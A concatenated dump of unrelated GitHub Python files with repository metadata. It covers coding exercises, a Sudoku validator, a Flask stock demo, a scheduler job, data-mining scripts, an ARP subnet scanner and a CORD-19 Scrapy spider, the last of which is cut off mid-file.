QTYPE_MODEL_WORK_EXPERIENCE_TYPE,\n QTYPE_MODEL_PROFILE_RELIGION, QTYPE_MODEL_PARTY,\n QTYPE_NORM_POLMULTICHOICE_VISMULTICHOICE,\n QTYPE_MODEL_POLONECHOICE_VISMULTICHOICE,\n QTYPE_MODEL_POLMULTICHOICE_VISMULTICHOICE,\n QTYPE_NORM_POLMULTICHOICE_VISMULTICHOICE_MIN_THREE)\n# Question types to show to the candidate\nBACKOFFICE_QUESTION_TYPES = (QTYPE_MODEL_POLMULTICHOICE_VISMULTICHOICE,\n QTYPE_NORM_POLONECHOICE_VISONECHOICE_RANGE,\n QTYPE_NORM_POLONECHOICE_VISONECHOICE,\n QTYPE_NORM_POLMULTICHOICE_VISMULTICHOICE,\n QTYPE_NORM_POLBOOL_VISBOOL,\n QTYPE_NORM_POLONECHOICE_VISONECHOICE_SECRET,\n QTYPE_NORM_POLMULTICHOICE_VISMULTICHOICE_MIN_THREE)\n# Question types to show to the visitor\nFRONTOFFICE_QUESTION_TYPES= (QTYPE_MODEL_POLMULTICHOICE_VISMULTICHOICE,\n QTYPE_MODEL_POLITICAL_EXPERIENCE_TYPE,\n QTYPE_MODEL_WORK_EXPERIENCE_TYPE,\n QTYPE_MODEL_PROFILE_QUESTION_WEIGHT,\n QTYPE_NORM_POLONECHOICE_VISONECHOICE_RANGE,\n QTYPE_MODEL_POLITICAL_EXPERIENCE_YEARS,\n QTYPE_MODEL_EDUCATION_LEVEL,\n QTYPE_MODEL_PROFILE_RELIGION,\n QTYPE_MODEL_PROFILE_AGE,\n QTYPE_MODEL_PROFILE_GENDER, QTYPE_MODEL_PARTY,\n QTYPE_NORM_POLMULTICHOICE_VISMULTICHOICE,\n QTYPE_NORM_POLONECHOICE_VISONECHOICE,\n QTYPE_NORM_POLBOOL_VISBOOL,\n QTYPE_MODEL_POLMULTICHOICE_VISONECHOICE,\n QTYPE_MODEL_POLONECHOICE_VISMULTICHOICE,\n QTYPE_MODEL_POLMULTICHOICE_VISMULTICHOICE,\n\t\t\t QTYPE_NORM_POLMULTICHOICE_VISMULTICHOICE_MIN_THREE\n )\n\n\n\n","repo_name":"openstate/Wiekiesjij","sub_path":"source/questions/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5393,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"63"} +{"seq_id":"11127660089","text":"i = 4\nwhile i != 0:\n print(f\"Loop counting from {i}\")\n i -= 1\n \nprint(\"\\nAnother Way\\n\")\n\ni = 1\nx = int(input(\"How many loops would you like to process?\\n> \"))\nwhile i <= x:\n print(f\"Counting till {i}\")\n i += 1\n \n","repo_name":"jabedkhanjb/CS50P","sub_path":"CS50P/Visual Studio/Practices/while loop practice.py","file_name":"while loop practice.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"63"} +{"seq_id":"10128160992","text":"'''\nDetermine if a 9 x 9 Sudoku board is valid. Only the filled cells need to be validated according to the following rules:\n\nEach row must contain the digits 1-9 without repetition.\nEach column must contain the digits 1-9 without repetition.\nEach of the nine 3 x 3 sub-boxes of the grid must contain the digits 1-9 without repetition.\n\nNote:\nA Sudoku board (partially filled) could be valid but is not necessarily solvable.\nOnly the filled cells need to be validated according to the mentioned rules.\n'''\nclass Solution:\n def isValidSudoku(self, board: list) -> bool:\n n = 9\n rows = [set() for _ in range(n)]\n cols = [set() for _ in range(n)]\n boxs = [set() for _ in range(n)]\n\n for row_idx in range(n):\n for col_idx in range(n):\n val = board[row_idx][col_idx]\n if val == \".\":\n continue\n #check row\n if val in rows[row_idx]:\n return False\n rows[row_idx].add(val)\n #check column\n if val in cols[col_idx]:\n return False\n cols[col_idx].add(val)\n #check box\n box_idx = (row_idx//3) * 3 + (col_idx//3)\n if val in boxs[box_idx]:\n return False\n boxs[box_idx].add(val)\n \n return True\n","repo_name":"TheBigRedDog/DSA-Practice","sub_path":"LC-36-valid_sudoku-arrays_hashing/valid_sudoku.py","file_name":"valid_sudoku.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"40014278964","text":"import atexit\nfrom datetime import *\nfrom flask import Blueprint\nfrom flask_restful import Resource, Api\nfrom apscheduler.triggers.interval import IntervalTrigger\nfrom apscheduler.schedulers.background import BackgroundScheduler\n\nfrom app.api.Scheduling import schedulingMethods\nfrom app.Models import ChargingSlot\nfrom app.Database import db_session\n\n# Start scheduler and register the jobs.\ndef initScheduler():\n # Get the scheduler\n scheduler = BackgroundScheduler()\n\n # Find the next perfect half hour to start the slot clean up on\n from datetime import datetime, timedelta\n start = datetime.now() + (datetime.min - datetime.now()) % timedelta(minutes=30)\n\n # Add slot clean up job to scheduler\n scheduler.add_job(\n func = slotCleanUp.cleanUp,\n trigger = IntervalTrigger(start_date=start, minutes=30),\n id = 'slot_cleanup',\n name = 'Refresh Slots',\n replace_existing = True)\n\n # Shut down the scheduler when exiting the app\n atexit.register(lambda: scheduler.shutdown())\n\n scheduler.start()\n\n\n# Function to be called every half hour. Passes through all slots and updates as necessary.\nclass slotCleanUp():\n content = []\n\n def cleanUp():\n # Log the time we execute the function\n slotCleanUp.content.append(datetime.strftime(datetime.now(),'%Y-%m-%d %H:%M'))\n # Get all the charging slots\n allSlots = ChargingSlot.query.all()\n\n # For each slot check it's still optimal and update if not\n for slot in allSlots:\n # Currently always looks ahead 24 hours.\n result = schedulingMethods.bestTimeSlot(24, slot.consumption, slot.timeToCharge)\n optPlugInTime = datetime.strptime(result['data'][0]['plugInTime'], '%Y-%m-%dT%H:%MZ')\n # Check if optimal time is later than current optimal time\n if optPlugInTime > slot.plugInTime:\n slotCleanUp.content.append(\n 'Slot ' + str(slot.slotId) + ' updated from ' +\n str(slot.plugInTime) + ' to ' + str(optPlugInTime)\n )\n # Update slot to reflect new time\n slot.plugInTime = optPlugInTime\n db_session.commit()\n\n\n# Define api for checking clean up logs:\nSlotCleanUp = Blueprint('SlotCleanUp',__name__, url_prefix='/slotCleanUp', template_folder='templates')\napi = Api(SlotCleanUp)\n\nclass getLogs(Resource):\n def get(self):\n return slotCleanUp.content\n\nclass forceCleanUp(Resource):\n def get(self):\n slotCleanUp.cleanUp()\n return getLogs.get(self)\n\napi.add_resource(getLogs, '/')\napi.add_resource(forceCleanUp, '/force')\n","repo_name":"strimbu-alexandru/Oxford-Group-Project-National-Grid","sub_path":"app/api/SlotCleanUp.py","file_name":"SlotCleanUp.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"19944831719","text":"\"\"\"CO2 ventilation length predictor.\n\"\"\"\nfrom os.path import dirname, abspath, join\nimport sys\nsys.path.append(abspath(join(dirname(__file__), '../..', '')))\n\n\nfrom dm.AttributeUtil import AttributeUtil\nfrom dm.CSVUtil import CSVUtil\nfrom dm.ConnectionUtil import ConnectionUtil\nfrom dm.FilterUtil import FilterUtil\nfrom dm.Storage import Storage\nfrom dm.attrs.CO2VentilationLength import CO2VentilationLength\nfrom dm.attrs.InOutDiff import InOutDiff\nfrom dm.attrs.Regression import Regression\nfrom dm.co2regression.SimpleExpRegression import SimpleExpRegression\nfrom dm.selectors.interval.CachedDiffRowWithIntervalSelector import CachedDiffRowWithIntervalSelector\nimport logging\nimport random\n\n__author__ = 'Peter Tisovčík'\n__email__ = 'xtisov00@stud.fit.vutbr.cz'\n\n\nno_events_records = [\n]\n\n\ndef func(con, table_name, timestamp, row_selector, interval_selector, end=None):\n attrs = []\n columns = [\n 'rh_in_specific_g_kg_diff',\n 'rh_in_absolute_g_m3_diff',\n 'temperature_in_celsius_diff',\n 'co2_in_ppm_diff'\n ]\n precision = 2\n\n for column in columns:\n intervals_before = [1]\n intervals_after = []\n\n op = InOutDiff(con, table_name, row_selector, interval_selector)\n b, a = op.execute(timestamp=timestamp, column=column, precision=precision,\n intervals_before=intervals_before,\n intervals_after=intervals_after,\n prefix='')\n attrs += b + a\n\n model = SimpleExpRegression(350, None)\n op = CO2VentilationLength(con, table_name, row_selector, interval_selector)\n b, a = op.execute(timestamp_start=timestamp, timestamp_end=end,\n compute_timestamp=5*60, intervals=[], method=model,\n co2_out=350,\n column='co2_in_ppm', precision=0, prefix='')\n attrs += b + a\n\n model = SimpleExpRegression(350, None)\n op = Regression(con, table_name, row_selector, interval_selector, model)\n b, a = op.execute(timestamp_start=timestamp, timestamp_end=end,\n column='co2_in_ppm', precision=0, prefix='', enable_error=False)\n attrs += b + a\n\n return attrs\n\n\ndef training_set(events_file: str, no_event_time_shift: int, table_name: str):\n logging.info('start')\n\n # stiahnutie dat\n con = ConnectionUtil.create_con()\n storage = Storage(events_file, no_event_time_shift, table_name)\n d = storage.load_data(con, 0, 0, 'co2_in_ppm')\n logging.info('downloaded events: %d' % len(d))\n\n # aplikovanie filtrov na eventy\n filtered = FilterUtil.only_valid_events(d)\n\n # for travis\n if ConnectionUtil.is_testable_system():\n filtered = filtered[:ConnectionUtil.MAX_TESTABLE_EVENTS]\n\n logging.info('events after applying the filter: %d' % len(filtered))\n\n # selector pre data\n row_selector = CachedDiffRowWithIntervalSelector(con, table_name, 0, 0)\n interval_selector = None\n\n # datova mnozina\n logging.info('start computing of data set')\n data = AttributeUtil.training_data_without_opposite(con, table_name, filtered, func,\n row_selector, interval_selector)\n logging.info('data set contains %d events' % len(data))\n logging.info('end computing of data set')\n\n # generovanie suborov\n logging.info('start preparing file of training and testing set')\n random.seed(len(data) // 2)\n random.shuffle(data)\n\n CSVUtil.create_csv_file(data, 'data.csv')\n logging.info('end preparing file of training and testing set')\n\n logging.info('end')\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(levelname)s %(message)s')\n\n table_name = 'measured_filtered_peto'\n training_set('examples/events_peto.json', -500, table_name)\n","repo_name":"mienkofax/FIT_MIT_DIP","sub_path":"examples2/0203_open_ventilation_length_predictor/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"73462675082","text":"from datetime import datetime\nimport Data2 as dddd2\n\ndef cleanAll():\n with open('cacm/cacm.all') as CISI_file:\n lines = \"\"\n for l in CISI_file.readlines():\n lines += \"\\n\" + l.strip() if l.startswith(\".\") else \" \" + l.strip()\n lines = lines.lstrip(\"\\n\").split(\"\\n\")\n\n with open('cacm/common_words') as stop_file:\n for l in stop_file.readlines():\n dddd2.stopword.append(l.strip())\n print(\"Done\")\n date_set={}\n doc_set = {}\n doc_id = \"\"\n doc_text = \"\"\n cnt=0\n for l in lines:\n if l.startswith(\".I\"):\n doc_id = l.split(\" \")[1].strip()\n elif l.startswith(\".X\"):\n doc_set[doc_id] = doc_text.lstrip(\" \")\n doc_id = \"\"\n doc_text = \"\"\n elif l.startswith(\".N\"):\n m=l.split((\" \"))[3]\n d=l.split((\" \"))[4]\n y=l.split((\" \"))[5]\n date=m+\" \"+d+\" \"+y\n date1_obj = datetime.strptime(date ,'%B %d, %Y')\n date_set[doc_id]=date1_obj\n\n\n elif l.startswith(\".B\"):\n pass\n else:\n doc_text += l.strip()[3:] + \" \" # The first 3 characters of a line can be ignored.\n print(cnt)\n # Print something to see the dictionary structure, etc.\n print(f\"Number of documents = {len(doc_set)}\" + \".\\n\")\n return doc_set;\n\ndef cleanQRY():\n with open('cacm/query.text') as f:\n lines = \"\"\n for l in f.readlines():\n lines += \"\\n\" + l.strip() if l.startswith(\".\") else \" \" + l.strip()\n lines = lines.lstrip(\"\\n\").split(\"\\n\")\n\n qry_set = {}\n qry_id = \"\"\n for l in lines:\n if l.startswith(\".I\"):\n qry_id = l.split(\" \")[1].strip()\n elif l.startswith(\".W\"):\n qry_set[qry_id] = l.strip()[3:]\n qry_id = \"\"\n\n # Print something to see the dictionary structure, etc.\n print(f\"Number of queries = {len(qry_set)}\" + \".\\n\")\n return qry_set\n\n\nif __name__ == '__main__':\n w= cleanAll()\n print(w[\"2000\"])\n q= cleanQRY()\n print(q[\"5\"])","repo_name":"MaherTheMaker/MakerSearchEngine","sub_path":"cacmcleaning.py","file_name":"cacmcleaning.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"31278807860","text":"\nN = int(input())\narr = []\nfor _ in range(N) :\n arr.append(int(input()))\n\ndef selectSort(arr) : \n for idx in range(len(arr)) :\n current = arr[idx] \n tmp = idx\n for jdx in range(idx+1, len(arr)) :\n if current > arr[jdx] :\n current = arr[jdx]\n tmp = jdx\n arr[tmp] = arr[idx]\n arr[idx] = current\n print(arr)\ndef insertSort(arr) : \n for end in range(1, len(arr)):\n to_insert = arr[end]\n i = end\n while i > 0 and arr[i - 1] > to_insert:\n arr[i] = arr[i - 1]\n i -= 1\n arr[i] = to_insert\n print(arr)\nselectSort(arr)\ninsertSort(arr)\n","repo_name":"BenchleyKim/Study","sub_path":"Algorithm_Study/2020WINTER/0208/lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"27241440659","text":"import json\n\nfrom graphql_server import (HttpQueryError, default_format_error,\n encode_execution_results, json_encode, load_json_body, run_http_query)\n\n\nclass PaginatedResult(object):\n def __init__(self, data, per_page, page, total_count):\n self.__per_page = per_page\n self.__page = page\n self.__total_count = total_count \n self.response = json.dumps( \n {\n \"data\" : data,\n \"meta\" :\n {\n \"pagination\" :\n {\n \"per_page\" : per_page,\n \"current_page\" : page,\n \"has_next\" : self.__has_next,\n \"has_prev\": self.__has_previous,\n \"total_pages\" : self.__total_pages,\n \"total_results\" : total_count\n }\n }\n }) \n \n\n @property\n def __has_next(self):\n return (self.__per_page * self.__page) < self.__total_count\n\n @property\n def __has_previous(self):\n return self.__page > 1\n\n @property\n def __total_pages(self):\n return -(-self.__total_count / self.__per_page)\n\n\nclass ErrorResponse:\n def __init__(self, errors_array):\n self.response = json.dumps(\n {\n \"error\" : True,\n \"errors\" : errors_array\n }\n )\n\n\ndef parse_body(request):\n content_type = request.mimetype\n if content_type == 'application/graphql':\n return {'query': request.data.decode('utf8')}\n\n elif content_type == 'application/json':\n return load_json_body(request.data.decode('utf8'))\n\n elif content_type in ('application/x-www-form-urlencoded', 'multipart/form-data'):\n return request.form\n\n return {}\n","repo_name":"khavayimagomere/GenericTaskServices","sub_path":"app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"72819645959","text":"import json\nfrom datetime import datetime\n\nfrom django import template\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse\nfrom django.shortcuts import redirect, render, get_object_or_404\nfrom django.urls import reverse\nfrom django.views.decorators.clickjacking import xframe_options_exempt\nfrom django_tables2 import RequestConfig\nfrom django_tables2.export import TableExport\nfrom django_telegram_login.widgets.constants import SMALL, LARGE, DISABLE_USER_PHOTO\nfrom django_telegram_login.widgets.generator import create_callback_login_widget, create_redirect_login_widget\nfrom django.conf import settings\n\nfrom reg.forms import NewPlayerForm, NewGameForm\nfrom reg.models import Player, PlayerType, Game, Participation\nfrom reg.tables import HeadQuartersPlayerTable, NonRegisteredPlayerTable, ExportPlayersTable, \\\n GamesListTable, RegisteredPlayers, RegisteredFieldPlayerTable\n\n\n@xframe_options_exempt\ndef index(request):\n t = template.Engine.get_default().get_template('reg/index.html')\n telegram_login_widget = create_redirect_login_widget(\n settings.TELEGRAM_LOGIN_REDIRECT_URL, settings.TELEGRAM_BOT_NAME, size=LARGE, user_photo=DISABLE_USER_PHOTO\n )\n c = template.Context({'game_name': 'New dozor game', 'telegram_login_widget': telegram_login_widget})\n return HttpResponse(t.render(c))\n\n\ndef telegram_login(request):\n t = template.Engine.get_default().get_template('reg/index.html')\n c = template.Context({'game_name': 'New dozor game'})\n return HttpResponse(t.render(c))\n\n\n@staff_member_required\ndef add_player(request):\n if request.method == \"POST\":\n f = NewPlayerForm(request.POST)\n if f.is_valid():\n f.save()\n return redirect('list_team')\n else:\n f = NewPlayerForm()\n return render(request, 'reg/add_player.html', {'form': f})\n\n\n@staff_member_required\ndef new_game(request):\n if request.method == \"POST\":\n f = NewGameForm(request.POST)\n game_exist = len(Game.objects.all().filter(game_name=f.data.get(\"game_name\"))) > 0\n if not game_exist and f.is_valid():\n f.save()\n return redirect('list_games')\n else:\n f = NewGameForm()\n return render(request, 'reg/add_game.html', {'form': f})\n\n\n@staff_member_required\ndef delete_game(request, pk):\n game = get_object_or_404(Game, pk=pk)\n game.delete()\n return redirect(reverse(\"list_games\"))\n\n\n@staff_member_required\ndef delete_user(request, pk):\n player = get_object_or_404(Player, pk=pk)\n player.delete()\n return redirect(reverse(\"list_team\"))\n\n\n@login_required\ndef register_to_game(request, pk):\n game = get_object_or_404(Game, pk=pk)\n player = get_object_or_404(Player, pk=request.user.id)\n participations = Participation.objects.all().filter(game_id=game, player_id=player)\n if not len(participations):\n participation = Participation(game_id=game, player_id=player)\n participation.save()\n return redirect(reverse(\"list_team\"))\n\n\n@login_required\ndef unregister_from_game(request, pk):\n participation = get_object_or_404(Participation, pk=pk)\n participation.delete()\n return redirect(reverse(\"list_team\"))\n\n\n@login_required\ndef list_team(request):\n return render(request, 'reg/reg.html', {\n 'all': RegisteredPlayers(Player.objects.all()),\n })\n\n\n@login_required\ndef game_status(request, pk):\n return render(request, 'reg/game_status.html', {\n 'registered_field': RegisteredFieldPlayerTable(Participation.objects.all()\n .filter(game_id=pk)\n .filter(player_id__role=PlayerType.FIELD.name)),\n 'registered_headquarters': HeadQuartersPlayerTable(Participation.objects.all()\n .filter(game_id=pk)\n .filter(player_id__role=PlayerType.HEADQUARTERS.name)),\n 'reserve': NonRegisteredPlayerTable(Participation.objects.all()\n .filter(game_id=pk)\n .filter(player_id__role=PlayerType.NOT_PLAYING.name)),\n })\n\n\n@login_required\ndef list_games(request):\n return render(request, 'reg/games.html', {\n 'games': GamesListTable(Game.objects.all()),\n })\n\n\n@login_required\ndef edit_player(request, pk):\n player = get_object_or_404(Player, pk=pk)\n\n # If request is POST, create a bound form(form with data)\n if request.method == \"POST\":\n f = NewPlayerForm(request.POST, instance=player)\n\n # check whether form is valid or not\n # if the form is valid, save the data to the database\n # and redirect the user back to the update post form\n\n # If form is invalid show form with errors again\n if f.is_valid():\n f.save()\n return redirect(reverse('list_team'))\n\n # if request is GET the show unbound form to the user, along with data\n elif player.user_id == request.user:\n f = NewPlayerForm(instance=player)\n else:\n return redirect(reverse(\"list_team\"))\n\n return render(request, 'reg/edit_player.html', {'form': f, 'post': player})\n\n\n@login_required\ndef team_export(request):\n table = ExportPlayersTable(Player.objects.all())\n\n RequestConfig(request).configure(table)\n\n export_format = request.GET.get(\"_export\", None)\n if TableExport.is_valid_format(export_format):\n exporter = TableExport(export_format, table)\n return exporter.response(\"table.{}\".format(export_format))\n\n return render(request, \"reg/export_players.html\", {\n \"table\": table\n })\n\n# class TeamView(MultiTableMixin, TemplateView):\n# template_name = 'reg/reg.html'\n# tables = [\n# FieldPlayerTable(Player.objects.all().filter(role=PlayerType.FIELD.name)),\n# HeadQuartersPlayerTable(Player.objects.all().filter(role=PlayerType.HEADQUARTERS.name)),\n# NonRegisteredPlayerTable(Player.objects.all().filter(role=PlayerType.NOT_PLAYING.name))\n# ]\n","repo_name":"Izeren/dzzzr_reg","sub_path":"reg/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"69946840521","text":"a = 27\r\nb = 93\r\nif a < b: # se a 27 é menor que 93 executa a linha abaixo\r\n print(\"a is less than b\") \r\nelif a > b: # se 27 < 93 for false, e se 27 é maior que 93, a linha abaixo será executada\r\n print(\"a is greater than b\")\r\nelse: \t \t#se nenhuma das condições acima forem verdadeira, a linha abaixo será executada\r\n print (\"a is equal to b\") \r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"kaiqueamericok/curso-basico-python-microsoft","sub_path":"04-boolean-Logic-20230929T014947Z-001/04-boolean-Logic/3-else_elif/4-combine_if_elif_else.py","file_name":"4-combine_if_elif_else.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"25023810119","text":"import sys\nfrom collections import *\nsys.setrecursionlimit(10**5)\nitr = (line for line in sys.stdin.read().strip().split('\\n'))\nINP = lambda: next(itr)\ndef ni(): return int(INP())\ndef nl(): return [int(_) for _ in INP().split()]\n\n\n\ndef solve(n,a):\n if n % 2 != 0:\n return \"NO\"\n a.sort()\n if len(set(a)) == 1:\n return \"NO\"\n \n pos = n-1\n out = [-1 for _ in range(n)]\n for i in range(n-1, -1, -2):\n out[i] = a[pos]\n pos -= 1\n #print(pos)\n \n for i in range(n-2, -1, -2):\n next = i -1\n #print(i)\n if out[next] > a[pos] and out[i+1] > a[pos]: \n out[i] = a[pos]\n pos -= 1\n else:\n return \"NO\"\n return \"YES \\n\" + \" \".join(list(map(str,out)))\n \n\n\nt = ni()\nfor case in range(t):\n n = ni()\n a = nl()\n print(solve(n,a))","repo_name":"EinPy/Competition_lib","sub_path":"CodeForces/2022_05_25_Div2_rnd794/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"7674902516","text":"from flask import render_template, request, url_for, flash, redirect\nfrom flaskapp import app\nfrom flaskapp.forms import RegistrationForm, LoginForm, StockPriceForm\nfrom flaskapp.models import User, Stock\nimport time\n\nstocks = [\n {\n 'symbol': 'AAPL',\n 'last': '$162.04',\n 'gainLoss': '0.88%'\n },\n {\n 'symbol': 'AMZN',\n 'last': '$3159.60',\n 'gainLoss': '0.47%'\n },\n {\n 'symbol': 'BB',\n 'last': '$7.00',\n 'gainLoss': '2.64%'\n },\n {\n 'symbol': 'FB',\n 'last': '$212.76',\n 'gainLoss': '2.37%'\n },\n {\n 'symbol': 'MSFT',\n 'last': '$296.99',\n 'gainLoss': '0.60%'\n },\n {\n 'symbol': 'NVDA',\n 'last': '$261.44',\n 'gainLoss': '5.56%'\n },\n {\n 'symbol': 'TSLA',\n 'last': '$894.67',\n 'gainLoss': '2.61%'\n }\n]\n\narticles = [\n {\n 'date': '1/31/2022',\n 'time': '2 min ago',\n 'source': 'New York Times',\n 'title': 'Breaking news: Bitcoin goes negative!'\n },\n {\n 'date': '1/31/2022',\n 'time': '34 min ago',\n 'source': 'The Economist',\n 'title': 'SpaceX may be sending rockets to space, but TSLA is reaching the moon'\n },\n {\n 'date': '1/30/2022',\n 'time': '1 day ago',\n 'source': 'Wall Street Journal',\n 'title': 'Mark Zuckerberg joins TikTok, Facebook stock plummets'\n }\n]\n\n@app.route(\"/\", methods=['GET', 'POST'])\n@app.route(\"/home\", methods=['GET', 'POST'])\ndef home():\n if request.method == 'GET':\n if 'stock_symbol' in request.args:\n stock_symbol = request.args['stock_symbol']\n with open('symbolprice.txt', 'w') as f:\n f.write(stock_symbol)\n if request.method == 'POST':\n stock_symbol = request.form['stock_symbol']\n with open('symbolprice.txt', 'w') as f:\n f.write(stock_symbol)\n time.sleep(5)\n with open('symbolprice.txt', 'r') as f:\n price = f.read()\n clear = open('symbolprice.txt', 'w')\n clear.close()\n return price\n return render_template('home.html')\n\n@app.route(\"/news\")\ndef news():\n return render_template('news.html', title='News', articles=articles)\n\n@app.route(\"/register\", methods=['GET', 'POST'])\ndef register():\n form = RegistrationForm()\n if form.validate_on_submit():\n flash(f'Account created for {form.username.data}!', 'success')\n return redirect(url_for('home'))\n return render_template('register.html', title='Register', form=form)\n\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n if form.validate_on_submit():\n if form.email.data == 'admin@blog.com' and form.password.data == 'password':\n flash('You have been logged in!', 'success')\n return redirect(url_for('home'))\n else:\n flash('Login unsuccessful! Please check username and password.', 'danger')\n return render_template('login.html', title='Login', form=form)\n\n@app.route(\"/stocks\")\ndef stocksPage():\n return render_template('stocks.html', title='Stocks', stocks=stocks)\n\n@app.route(\"/portfolios\")\ndef portfolios():\n return render_template('portfolios.html', title='Portfolios')\n\n@app.route(\"/groups\")\ndef groups():\n return render_template('groups.html', title='Groups')\n\n@app.route(\"/stock\")\ndef stockPage():\n return render_template('stock.html', title='AAPL')\n","repo_name":"achap1214/CS361","sub_path":"Flask_App/flaskapp/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"37441433696","text":"#!/usr/bin/env python3\nfrom scapy.all import srp, Ether, ARP, conf\nfrom time import sleep\nfrom datetime import datetime\nfrom json import dump\nfrom requests import get\n\nfrom utils import make_subnets\nfrom cfg import ARP_DELAY, ARP_JSON, ARP_CSV, IFACE\n\nclass Host:\n def __init__(self, ipv4, subnet, mac, manu=''):\n\n self.ts = str(datetime.now())\n self.ipv4 = ipv4\n self.subnet = subnet\n self.mac = mac\n self.manu = manu\n\ndef find_vendor(mac):\n req = get('http://macvendors.co/api/%s' % mac)\n manu_data = req.json()\n return manu_data\n\ndef arp_scan():\n subnets = make_subnets()\n sep = ' '\n for net in subnets:\n if '\\n' in net:\n net = net.strip('\\n')\n conf.verb = 0\n #source: https://macvendors.co/api/python\n ans, unans = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=net),timeout=2, iface=IFACE, inter=0.1)\n hosts = []\n\n for snd,rcv in ans:\n ipv4 = rcv.sprintf(r'%ARP.psrc%')\n mac = rcv.sprintf(r'%Ether.src%')\n manu = find_vendor(mac)\n\n H = Host(ipv4, net, mac, manu)\n #print(H.ts, H.ipv4, sep, H.mac, sep, H.manu)\n \n hosts.append(H)\n #print(hosts)\n #print('#######')\n return hosts\n\ndef write_arp_csv(host_arr, fname):\n\n for H in host_arr:\n text = str(H.subnet) + ',' + str(H.ip) + ',' + str(H.mac) + ',' + str(H.ts) + '\\n'\n with open(fname, 'a+') as f:\n f.write(text)\n\n return\n\ndef write_arp_json(host_arr, fname):\n json_name = 'hosts_' + host_arr[0].subnet\n data = {}\n data[json_name] = []\n\n for H in host_arr:\n #print(H.ts, H.ipv4, H.mac, H.manu)\n data[json_name].append({'ts':H.ts, 'ipv4':H.ipv4, 'mac':H.mac, 'manu':H.manu})\n\n with open(fname, 'a+') as f:\n dump(data,f)\n\n return\n\ndef continuous_arp():\n while True:\n arp_results = arp_scan()\n write_arp_json(arp_results, ARP_JSON)\n #write_arp_csv(arp_scan(), ARP_CSV\n sleep(ARP_DELAY)\n\ncontinuous_arp()\n#arp_results = arp_scan()\n#write_arp_json(arp_results, ARP_JSON)\n","repo_name":"crag-h4k/bro-pi","sub_path":"arp.py","file_name":"arp.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"29257541780","text":"import gzip\nimport io\nimport json\nimport re\nimport tarfile\nfrom datetime import datetime\n\nimport numpy as np\nimport pandas as pd\nimport scrapy\nfrom pymongo import MongoClient\nfrom scrapy import Request, Selector\n\n\nclass Cord19Spider(scrapy.Spider):\n name = 'cord_19'\n allowed_domains = ['semanticscholar.org']\n\n # DB specs\n db = None\n subset_collection_map = {\n 'comm_use_subset': 'CORD_comm_use_subset',\n 'noncomm_use_subset': 'CORD_noncomm_use_subset',\n 'biorxiv_medrxiv': 'CORD_biorxiv_medrxiv',\n 'custom_license': 'CORD_custom_license',\n 'metadata': 'CORD_metadata',\n }\n\n def setup_db(self):\n \"\"\"Setup database and collection. Ensure indices.\"\"\"\n self.db = MongoClient(\n host=self.settings['MONGO_HOSTNAME'],\n )[self.settings['MONGO_DB']]\n self.db.authenticate(\n name=self.settings['MONGO_USERNAME'],\n password=self.settings['MONGO_PASSWORD'],\n source=self.settings['MONGO_AUTHENTICATION_DB']\n )\n\n def start_requests(self):\n self.setup_db()\n\n data_files = [\n (\n 'comm_use_subset',\n 'https://ai2-semanticscholar-cord-19.s3-us-west-2.amazonaws.com/latest/comm_use_subset.tar.gz'),\n (\n 'noncomm_use_subset',\n 'https://ai2-semanticscholar-cord-19.s3-us-west-2.amazonaws.com/latest/noncomm_use_subset.tar.gz'),\n (\n 'custom_license',\n 'https://ai2-semanticscholar-cord-19.s3-us-west-2.amazonaws.com/latest/custom_license.tar.gz'),\n (\n 'biorxiv_medrxiv',\n 'https://ai2-semanticscholar-cord-19.s3-us-west-2.amazonaws.com/latest/biorxiv_medrxiv.tar.gz'),\n (\n 'metadata',\n 'https://ai2-semanticscholar-cord-19.s3-us-west-2.amazonaws.com/latest/metadata.csv'),\n ]\n for content_type, link in data_files:\n if link.endswith('.tar.gz'):\n yield Request(\n url=link,\n callback=self.parse_gzip,\n meta={\n 'download_maxsize': 0,\n 'download_warnsize': 0,\n 'content_type': content_type,\n },\n dont_filter=True)\n elif link.endswith('.csv'):\n yield Request(\n url=link,\n callback=self.parse_csv,\n meta={\n 'download_maxsize': 0,\n 'download_warnsize': 0,\n 'content_type': content_type,\n },\n dont_filter=True)\n\n def parse_page(self, response):\n file_list_html = response.xpath('//ul').extract_first()\n for url in Selector(text=file_list_html).xpath('//a/@href').extract():\n if 